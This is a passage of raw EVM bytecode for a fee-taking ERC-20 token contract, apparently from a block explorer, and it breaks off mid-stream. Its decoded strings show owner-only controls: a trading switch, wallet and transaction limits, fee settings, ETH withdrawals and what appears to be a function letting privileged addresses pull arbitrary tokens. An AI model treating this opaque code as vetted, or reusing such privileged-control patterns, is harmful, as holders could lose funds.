f106109b5576101008083540402835291602001916109e0565b820191906000526020600020905b8154815290600101906020018083116109c357829003601f168201915b5050505050905090565b6000336109f8818585611cf1565b60019150505b92915050565b6005546001600160a01b03163314610a375760405162461bcd60e51b8152600401610a2e90612d47565b60405180910390fd5b670de0b6b3a76400006103e8610a4c60025490565b610a57906001612d92565b610a619190612da9565b610a6b9190612da9565b811015610ad25760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610a2e565b610ae481670de0b6b3a7640000612d92565b600c5550565b6005546001600160a01b03163314610b145760405162461bcd60e51b8152600401610a2e90612d47565b60128390556014829055601381905580610b2e8385612dcb565b610b389190612dcb565b6011819055600a1015610b8d5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c6573730000006044820152606401610a2e565b505050565b600033610ba0858285611e15565b610bab858585611e8f565b506001949350505050565b6005546001600160a01b03163314610be05760405162461bcd60e51b8152600401610a2e90612d47565b601d80546001600160a01b039092166001600160a01b03199283168117909155601c8054909216179055565b600a546001600160a01b03163314610c2357600080fd5b600a546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610c70576040519150601f19603f3d011682016040523d82523d6000602084013e610c75565b606091505b5050905080610c8357600080fd5b50565b6005546001600160a01b03163314610cb05760405162461bcd60e51b8152600401610a2e90612d47565b6000601655565b6000336109f8818585610cca8383611972565b610cd49190612dcb565b611cf1565b600080600860009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d539190612dde565b90506000600860009054906101000a90046001600160a01b03166001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa158015610daa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dce9190612dde565b6007549091506001600160a01b03161580610e55575060075460408051636d11ad9160e11b815290516000926001600160a01b03169163da235b22916004808301926020929190829003018187875af1158015610e2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e539190612dfb565b115b610e5e57600080fd5b600080600860009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610eb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed89190612e2b565b50601e54601d5492945090925090600160a01b900460ff1615610f5f57306001600160a01b0316638e15f4736040518163ffffffff1660e01b815260040160a060405180830381865afa158015610f33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f579190612e95565b509193505050505b6000846001600160a01b031663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc39190612ee5565b60ff16866001600160a01b031663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015611004573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110289190612ee5565b6110369060ff16600a612fec565b611049846001600160701b038716612d92565b6110539190612d92565b61105d9190612da9565b90506110726001600160701b03851682612da9565b965050505050505090565b6005546001600160a01b031633146110a75760405162461bcd60e51b8152600401610a2e90612d47565b6110b160006123bd565b565b6005546000906001600160a01b031633146110e05760405162461bcd60e51b8152600401610a2e90612d47565b50600f805460ff19169055600190565b6005546001600160a01b0316331461111a5760405162461bcd60e51b8152600401610a2e90612d47565b6001600160a01b03919091166000908152601b60205260409020805460ff1916911515919091179055565b6005546001600160a01b0316331461116f5760405162461bcd60e51b8152600401610a2e90612d47565b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146111bb5760405162461bcd60e51b8152600401610a2e90612d47565b600f805461ff00191661010017905542600955565b600080600080600080600080600080601c60009054906101000a90046001600160a01b03166001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a060405180830381865afa158015611232573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112569190612e95565b939e929d50909b50995090975095505050505050565b60606004805461096790612d0d565b6005546001600160a01b031633146112a55760405162461bcd60e51b8152600401610a2e90612d47565b6008546001600160a01b03908116908316036113295760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610a2e565b611333828261240f565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b60085460009081906001600160a01b03858116911614801561139f57506006546001600160a01b03848116911614155b6001600160a01b0385166000908152601a60205260408120549192509060ff16806113e257506001600160a01b0384166000908152601a602052604090205460ff165b6008549091506001600160a01b03858116911614600083806114015750815b6011549091501580159081906114215750600854600160a01b900460ff16155b801561142b575083155b80156114345750815b98975050505050505050565b6000338161144e8286611972565b9050838110156114ae5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610a2e565b610bab8286868403611cf1565b6000336109f8818585611e8f565b6005546001600160a01b031633146114f35760405162461bcd60e51b8152600401610a2e90612d47565b6000601555565b6005546001600160a01b031633146115245760405162461bcd60e51b8152600401610a2e90612d47565b6001600160a01b0382166000818152601a6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146115ad5760405162461bcd60e51b8152600401610a2e90612d47565b670de0b6b3a76400006103e86115c260025490565b6115cd906005612d92565b6115d79190612da9565b6115e19190612da9565b81101561163c5760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610a2e565b61164e81670de0b6b3a7640000612d92565b600e5550565b6005546001600160a01b0316331461167e5760405162461bcd60e51b8152600401610a2e90612d47565b601d54600160a01b900460ff16156116d85760405162461bcd60e51b815260206004820152601c60248201527f7072696365206f7261636c6520616c726561647920656e61626c6564000000006044820152606401610a2e565b601d805460ff60a01b1916600160a01b179055565b6005546001600160a01b031633146117175760405162461bcd60e51b8152600401610a2e90612d47565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546000906001600160a01b031633146117665760405162461bcd60e51b8152600401610a2e90612d47565b620186a061177360025490565b61177e906001612d92565b6117889190612da9565b8210156117f55760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610a2e565b6103e861180160025490565b61180c906005612d92565b6118169190612da9565b8211156118825760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610a2e565b50600d81905560015b919050565b60006118a2833084610cca8730611972565b50600192915050565b600a546001600160a01b031633146118c257600080fd5b30600090815260208190526040902054610c239061243d565b6005546001600160a01b031633146119055760405162461bcd60e51b8152600401610a2e90612d47565b601d54600160a01b900460ff1615156001146119635760405162461bcd60e51b815260206004820152601d60248201527f7072696365206f7261636c6520616c72656164792064697361626c65640000006044820152606401610a2e565b601d805460ff60a01b19169055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6001600160a01b0383166119f35760405162461bcd60e51b815260206004820152601a60248201527f5f746f6b656e20616464726573732063616e6e6f7420626520300000000000006044820152606401610a2e565b6040805160028082526060820183526000926020830190803683375050600654604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015611a5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a819190612dde565b81600081518110611a9457611a94612ff8565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110611ac857611ac8612ff8565b6001600160a01b03909216602092830291909101820152336000908152601a909152604090205460ff1615611ba457836001600160a01b03166323b872dd8483600181518110611b1a57611b1a612ff8565b60209081029190910101516040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604481018590526064016020604051808303816000875af1158015611b79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b9d919061300e565b5050505050565b60065460405163b6f9de9560e01b81526001600160a01b039091169063b6f9de95908490611bdf90600090869061dead90429060040161306f565b6000604051808303818588803b158015611bf857600080fd5b505af1158015611c0c573d6000803e3d6000fd5b505050505050505050565b6005546001600160a01b03163314611c415760405162461bcd60e51b8152600401610a2e90612d47565b6001600160a01b038116611ca65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a2e565b610c83816123bd565b6005546001600160a01b03163314611cd95760405162461bcd60e51b8152600401610a2e90612d47565b611ceb81670de0b6b3a7640000612597565b601e5550565b6001600160a01b038316611d535760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a2e565b6001600160a01b038216611db45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a2e565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000611e218484611972565b90506000198114611e895781811015611e7c5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610a2e565b611e898484848403611cf1565b50505050565b6001600160a01b0383166000908152601a602052604081205460ff1680611ece57506001600160a01b0383166000908152601a602052604090205460ff165b90506001600160a01b038416611ef65760405162461bcd60e51b8152600401610a2e906130a4565b6001600160a01b038316611f1c5760405162461bcd60e51b8152600401610a2e906130e9565b81600003611f3057611e89848460006125aa565b6008546000906001600160a01b038681169116148015611f6957506001600160a01b0384166000908152601b602052604090205460ff16155b6008549091506000906001600160a01b038681169116148015611fa557506001600160a01b0386166000908152601b602052604090205460ff16155b90506000611fbb6005546001600160a01b031690565b6001600160a01b0316876001600160a01b03161480611fe757506005546001600160a01b038781169116145b905060006001600160a01b038716158061200b57506001600160a01b03871661dead145b9050600082806120185750815b8061202c5750600854600160a01b900460ff165b600f5490915060ff16801561203f575080155b1561223757600f54610100900460ff16806120575750855b61209c5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610a2e565b841561218157600c548711156121125760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610a2e565b600e546001600160a01b0389166000908152602081905260409020546121389089612dcb565b111561217c5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610a2e565b612237565b83612237576001600160a01b0388166000908152601b602052604090205460ff161580156121c857506001600160a01b0389166000908152601b602052604090205460ff16155b1561223757600e546001600160a01b0389166000908152602081905260409020546121f39089612dcb565b11156122375760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610a2e565b6001600160a01b0389166000908152601f602052604090205460ff1615612298576001600160a01b0388166000908152601060205260408120549003612293576001600160a01b03881660009081526010602052604090204290555b6122cc565b600854600160a01b900460ff166122cc57600f805462010000600160b01b031916620100006001600160a01b038c16021790555b600854600160a01b900460ff161580156122ff57506001600160a01b0389166000908152601f602052604090205460ff16155b801561232457506001600160a01b0389166000908152601a602052604090205460ff16155b801561234957506001600160a01b0388166000908152601a602052604090205460ff16155b156123b05730600090815260208190526040902054600d5481101561236c6126fe565b80156123755750805b801561237f575087155b156123ad576008805460ff60a01b1916600160a01b17905561239f61271a565b6008805460ff60a01b191690555b50505b611c0c8989898789612947565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152601f60205260409020805460ff191682151517905561133382826110f0565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061247257612472612ff8565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156124cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124ef9190612dde565b8160018151811061250257612502612ff8565b6001600160a01b0392831660209182029290920101526006546125289130911684611cf1565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061256190859060009086903090429060040161312c565b600060405180830381600087803b15801561257b57600080fd5b505af115801561258f573d6000803e3d6000fd5b505050505050565b60006125a38284612d92565b9392505050565b6001600160a01b0383166125d05760405162461bcd60e51b8152600401610a2e906130a4565b6001600160a01b0382166125f65760405162461bcd60e51b8152600401610a2e906130e9565b6001600160a01b0383166000908152602081905260409020548181101561266e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610a2e565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906126a5908490612dcb565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126f191815260200190565b60405180910390a3611e89565b600080612709610cd9565b116127145750600090565b50600190565b30600090815260208190526040812054905060006018546017546019546127419190612dcb565b61274b9190612dcb565b9050811580612758575080155b15612761575050565b600d5482111561277157600d5491505b6000600282601954856127849190612d92565b61278e9190612da9565b6127989190612da9565b905060006127a68483612a80565b9050476127b28261243d565b60006127be4783612a80565b905060006127e1866127db6017548561259790919063ffffffff16565b90612a8c565b905060006127fe876127db6018548661259790919063ffffffff16565b905060008161280d8486613168565b6128179190613168565b90506000871180156128295750600081115b1561287c576128388782612a98565b601954604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6000601981905560178190556018819055600a546040516001600160a01b039091169085908381818185875af1925050503d80600081146128d9576040519150601f19603f3d011682016040523d82523d6000602084013e6128de565b606091505b5050600b546040519192506000916001600160a01b039091169085908381818185875af1925050503d8060008114612932576040519150601f19603f3d011682016040523d82523d6000602084013e612937565b606091505b5050505050505050505050505050565b6000612953868661136f565b90508015612a7557601154601254841561298c576015546011546129779190612dcb565b91506015546012546129899190612dcb565b90505b83156129b7576016546011546129a29190612dcb565b91506016546012546129b49190612dcb565b90505b60006129c860646127db8986612597565b905082601354826129d99190612d92565b6129e39190612da9565b601960008282546129f49190612dcb565b90915550839050612a058383612d92565b612a0f9190612da9565b60176000828254612a209190612dcb565b90915550506014548390612a349083612d92565b612a3e9190612da9565b60186000828254612a4f9190612dcb565b90915550508015612a6557612a658930836125aa565b612a6f8188613168565b96505050505b61258f8686866125aa565b60006125a38284613168565b60006125a38284612da9565b600654612ab09030906001600160a01b031684611cf1565b6006546001600160a01b031663f305d719823085600080612ad96005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015612b41573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611b9d919061317b565b600060208083528351808285015260005b81811015612b9357858101830151858201604001528201612b77565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610c8357600080fd5b60008060408385031215612bdc57600080fd5b8235612be781612bb4565b946020939093013593505050565b600060208284031215612c0757600080fd5b5035919050565b600080600060608486031215612c2357600080fd5b505081359360208301359350604090920135919050565b600080600060608486031215612c4f57600080fd5b8335612c5a81612bb4565b92506020840135612c6a81612bb4565b929592945050506040919091013590565b600060208284031215612c8d57600080fd5b81356125a381612bb4565b8015158114610c8357600080fd5b60008060408385031215612cb957600080fd5b8235612cc481612bb4565b91506020830135612cd481612c98565b809150509250929050565b60008060408385031215612cf257600080fd5b8235612cfd81612bb4565b91506020830135612cd481612bb4565b600181811c90821680612d2157607f821691505b602082108103612d4157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176109fe576109fe612d7c565b600082612dc657634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156109fe576109fe612d7c565b600060208284031215612df057600080fd5b81516125a381612bb4565b600060208284031215612e0d57600080fd5b5051919050565b80516001600160701b038116811461188b57600080fd5b600080600060608486031215612e4057600080fd5b612e4984612e14565b9250612e5760208501612e14565b9150604084015163ffffffff81168114612e7057600080fd5b809150509250925092565b805169ffffffffffffffffffff8116811461188b57600080fd5b600080600080600060a08688031215612ead57600080fd5b612eb686612e7b565b9450602086015193506040860151925060608601519150612ed960808701612e7b565b90509295509295909350565b600060208284031215612ef757600080fd5b815160ff811681146125a357600080fd5b600181815b80851115612f43578160001904821115612f2957612f29612d7c565b80851615612f3657918102915b93841c9390800290612f0d565b509250929050565b600082612f5a575060016109fe565b81612f67575060006109fe565b8160018114612f7d5760028114612f8757612fa3565b60019150506109fe565b60ff841115612f9857612f98612d7c565b50506001821b6109fe565b5060208310610133831016604e8410600b8410161715612fc6575081810a6109fe565b612fd08383612f08565b8060001904821115612fe457612fe4612d7c565b029392505050565b60006125a38383612f4b565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561302057600080fd5b81516125a381612c98565b600081518084526020808501945080840160005b838110156130645781516001600160a01b03168752958201959082019060010161303f565b509495945050505050565b848152608060208201526000613088608083018661302b565b6001600160a01b03949094166040830152506060015292915050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b85815284602082015260a06040820152600061314b60a083018661302b565b6001600160a01b0394909416606083015250608001529392505050565b818103818111156109fe576109fe612d7c565b60008060006060848603121561319057600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212200dc1822fa7ab843c33cf7c46e1663cd15092b277a80ecd11b45254f5dfabcdc864736f6c634300081100334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

Deployed Bytecode

0x6080604052600436106102e85760003560e01c80638a8c523c11610190578063c18bc195116100dc578063dd1e1ca911610095578063eb81c3681161006f578063eb81c368146108e2578063f2fde38b14610902578063fea4fa4d14610922578063fefa5ce31461093857600080fd5b8063dd1e1ca914610893578063dd62ed3e146108a8578063e73b90cd146108c857600080fd5b8063c18bc195146107e9578063c862c28b14610809578063cb94a3701461081e578063d257b34f1461083e578063d74fc4281461085e578063dc56914d1461087e57600080fd5b8063a1cd15e811610149578063ae76b09011610123578063ae76b09014610757578063b1d920851461076c578063b62496f514610799578063c0246668146107c957600080fd5b8063a1cd15e8146106f7578063a457c2d714610717578063a9059cbb1461073757600080fd5b80638a8c523c146106235780638da5cb5b146106385780638e15f4731461065657806395d89b41146106a25780639a7a23d6146106b75780639c74daf0146106d757600080fd5b8063315097861161024f5780636d77ecd111610208578063751039fc116101e2578063751039fc146105b85780637571336a146105cd578063777dfe24146105ed57806382247ec01461060d57600080fd5b80636d77ecd11461054d57806370a082311461056d578063715018a6146105a357600080fd5b80633150978614610495578063339578fe146104aa57806339509351146104bf5780634b94f50e146104df5780634fbee193146104f4578063583e05681461052d57600080fd5b806322429085116102a157806322429085146103e457806323b872dd1461040457806323bf4c861461042457806327f4d7d5146104445780632fd689e314610463578063313ce5671461047957600080fd5b806304beaeb8146102f4578063055ad42e1461031d57806306fdde031461035b578063095ea7b31461037d57806318160ddd146103ad578063203e727e146103c257600080fd5b366102ef57005b600080fd5b34801561030057600080fd5b5061030a600c5481565b6040519081526020015b60405180910390f35b34801561032957600080fd5b50600f54610343906201000090046001600160a01b031681565b6040516001600160a01b039091168152602001610314565b34801561036757600080fd5b50610370610958565b6040516103149190612b66565b34801561038957600080fd5b5061039d610398366004612bc9565b6109ea565b6040519015158152602001610314565b3480156103b957600080fd5b5060025461030a565b3480156103ce57600080fd5b506103e26103dd366004612bf5565b610a04565b005b3480156103f057600080fd5b506103e26103ff366004612c0e565b610aea565b34801561041057600080fd5b5061039d61041f366004612c3a565b610b92565b34801561043057600080fd5b506103e261043f366004612c7b565b610bb6565b34801561045057600080fd5b50600f5461039d90610100900460ff1681565b34801561046f57600080fd5b5061030a600d5481565b34801561048557600080fd5b5060405160128152602001610314565b3480156104a157600080fd5b506103e2610c0c565b3480156104b657600080fd5b506103e2610c86565b3480156104cb57600080fd5b5061039d6104da366004612bc9565b610cb7565b3480156104eb57600080fd5b5061030a610cd9565b34801561050057600080fd5b5061039d61050f366004612c7b565b6001600160a01b03166000908152601a602052604090205460ff1690565b34801561053957600080fd5b50600654610343906001600160a01b031681565b34801561055957600080fd5b50601d54610343906001600160a01b031681565b34801561057957600080fd5b5061030a610588366004612c7b565b6001600160a01b031660009081526020819052604090205490565b3480156105af57600080fd5b506103e261107d565b3480156105c457600080fd5b5061039d6110b3565b3480156105d957600080fd5b506103e26105e8366004612ca6565b6110f0565b3480156105f957600080fd5b506103e2610608366004612c7b565b611145565b34801561061957600080fd5b5061030a600e5481565b34801561062f57600080fd5b506103e2611191565b34801561064457600080fd5b506005546001600160a01b0316610343565b34801561066257600080fd5b5061066b6111d0565b6040805169ffffffffffffffffffff968716815260208101959095528401929092526060830152909116608082015260a001610314565b3480156106ae57600080fd5b5061037061126c565b3480156106c357600080fd5b506103e26106d2366004612ca6565b61127b565b3480156106e357600080fd5b50600854610343906001600160a01b031681565b34801561070357600080fd5b5061039d610712366004612cdf565b61136f565b34801561072357600080fd5b5061039d610732366004612bc9565b611440565b34801561074357600080fd5b5061039d610752366004612bc9565b6114bb565b34801561076357600080fd5b506103e26114c9565b34801561077857600080fd5b5061030a610787366004612c7b565b60106020526000908152604090205481565b3480156107a557600080fd5b5061039d6107b4366004612c7b565b601f6020526000908152604090205460ff1681565b3480156107d557600080fd5b506103e26107e4366004612ca6565b6114fa565b3480156107f557600080fd5b506103e2610804366004612bf5565b611583565b34801561081557600080fd5b506103e2611654565b34801561082a57600080fd5b506103e2610839366004612c7b565b6116ed565b34801561084a57600080fd5b5061039d610859366004612bf5565b611739565b34801561086a57600080fd5b5061039d610879366004612bc9565b611890565b34801561088a57600080fd5b506103e26118ab565b34801561089f57600080fd5b506103e26118db565b3480156108b457600080fd5b5061030a6108c3366004612cdf565b611972565b3480156108d457600080fd5b50600f5461039d9060ff1681565b3480156108ee57600080fd5b506103e26108fd366004612c3a565b61199d565b34801561090e57600080fd5b506103e261091d366004612c7b565b611c17565b34801561092e57600080fd5b5061030a60115481565b34801561094457600080fd5b506103e2610953366004612bf5565b611caf565b60606003805461096790612d0d565b80601f016020809104026020016040519081016040528092919081815260200182805461099390612d0d565b80156109e05780601f106109b5576101008083540402835291602001916109e0565b820191906000526020600020905b8154815290600101906020018083116109c357829003601f168201915b5050505050905090565b6000336109f8818585611cf1565b60019150505b92915050565b6005546001600160a01b03163314610a375760405162461bcd60e51b8152600401610a2e90612d47565b60405180910390fd5b670de0b6b3a76400006103e8610a4c60025490565b610a57906001612d92565b610a619190612da9565b610a6b9190612da9565b811015610ad25760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610a2e565b610ae481670de0b6b3a7640000612d92565b600c5550565b6005546001600160a01b03163314610b145760405162461bcd60e51b8152600401610a2e90612d47565b60128390556014829055601381905580610b2e8385612dcb565b610b389190612dcb565b6011819055600a1015610b8d5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c6573730000006044820152606401610a2e565b505050565b600033610ba0858285611e15565b610bab858585611e8f565b506001949350505050565b6005546001600160a01b03163314610be05760405162461bcd60e51b8152600401610a2e90612d47565b601d80546001600160a01b039092166001600160a01b03199283168117909155601c8054909216179055565b600a546001600160a01b03163314610c2357600080fd5b600a546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610c70576040519150601f19603f3d011682016040523d82523d6000602084013e610c75565b606091505b5050905080610c8357600080fd5b50565b6005546001600160a01b03163314610cb05760405162461bcd60e51b8152600401610a2e90612d47565b6000601655565b6000336109f8818585610cca8383611972565b610cd49190612dcb565b611cf1565b600080600860009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d539190612dde565b90506000600860009054906101000a90046001600160a01b03166001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa158015610daa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dce9190612dde565b6007549091506001600160a01b03161580610e55575060075460408051636d11ad9160e11b815290516000926001600160a01b03169163da235b22916004808301926020929190829003018187875af1158015610e2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e539190612dfb565b115b610e5e57600080fd5b600080600860009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610eb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed89190612e2b565b50601e54601d5492945090925090600160a01b900460ff1615610f5f57306001600160a01b0316638e15f4736040518163ffffffff1660e01b815260040160a060405180830381865afa158015610f33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f579190612e95565b509193505050505b6000846001600160a01b031663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc39190612ee5565b60ff16866001600160a01b031663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015611004573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110289190612ee5565b6110369060ff16600a612fec565b611049846001600160701b038716612d92565b6110539190612d92565b61105d9190612da9565b90506110726001600160701b03851682612da9565b965050505050505090565b6005546001600160a01b031633146110a75760405162461bcd60e51b8152600401610a2e90612d47565b6110b160006123bd565b565b6005546000906001600160a01b031633146110e05760405162461bcd60e51b8152600401610a2e90612d47565b50600f805460ff19169055600190565b6005546001600160a01b0316331461111a5760405162461bcd60e51b8152600401610a2e90612d47565b6001600160a01b03919091166000908152601b60205260409020805460ff1916911515919091179055565b6005546001600160a01b0316331461116f5760405162461bcd60e51b8152600401610a2e90612d47565b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146111bb5760405162461bcd60e51b8152600401610a2e90612d47565b600f805461ff00191661010017905542600955565b600080600080600080600080600080601c60009054906101000a90046001600160a01b03166001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a060405180830381865afa158015611232573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112569190612e95565b939e929d50909b50995090975095505050505050565b60606004805461096790612d0d565b6005546001600160a01b031633146112a55760405162461bcd60e51b8152600401610a2e90612d47565b6008546001600160a01b03908116908316036113295760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610a2e565b611333828261240f565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b60085460009081906001600160a01b03858116911614801561139f57506006546001600160a01b03848116911614155b6001600160a01b0385166000908152601a60205260408120549192509060ff16806113e257506001600160a01b0384166000908152601a602052604090205460ff165b6008549091506001600160a01b03858116911614600083806114015750815b6011549091501580159081906114215750600854600160a01b900460ff16155b801561142b575083155b80156114345750815b98975050505050505050565b6000338161144e8286611972565b9050838110156114ae5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610a2e565b610bab8286868403611cf1565b6000336109f8818585611e8f565b6005546001600160a01b031633146114f35760405162461bcd60e51b8152600401610a2e90612d47565b6000601555565b6005546001600160a01b031633146115245760405162461bcd60e51b8152600401610a2e90612d47565b6001600160a01b0382166000818152601a6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146115ad5760405162461bcd60e51b8152600401610a2e90612d47565b670de0b6b3a76400006103e86115c260025490565b6115cd906005612d92565b6115d79190612da9565b6115e19190612da9565b81101561163c5760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610a2e565b61164e81670de0b6b3a7640000612d92565b600e5550565b6005546001600160a01b0316331461167e5760405162461bcd60e51b8152600401610a2e90612d47565b601d54600160a01b900460ff16156116d85760405162461bcd60e51b815260206004820152601c60248201527f7072696365206f7261636c6520616c726561647920656e61626c6564000000006044820152606401610a2e565b601d805460ff60a01b1916600160a01b179055565b6005546001600160a01b031633146117175760405162461bcd60e51b8152600401610a2e90612d47565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546000906001600160a01b031633146117665760405162461bcd60e51b8152600401610a2e90612d47565b620186a061177360025490565b61177e906001612d92565b6117889190612da9565b8210156117f55760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610a2e565b6103e861180160025490565b61180c906005612d92565b6118169190612da9565b8211156118825760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610a2e565b50600d81905560015b919050565b6000611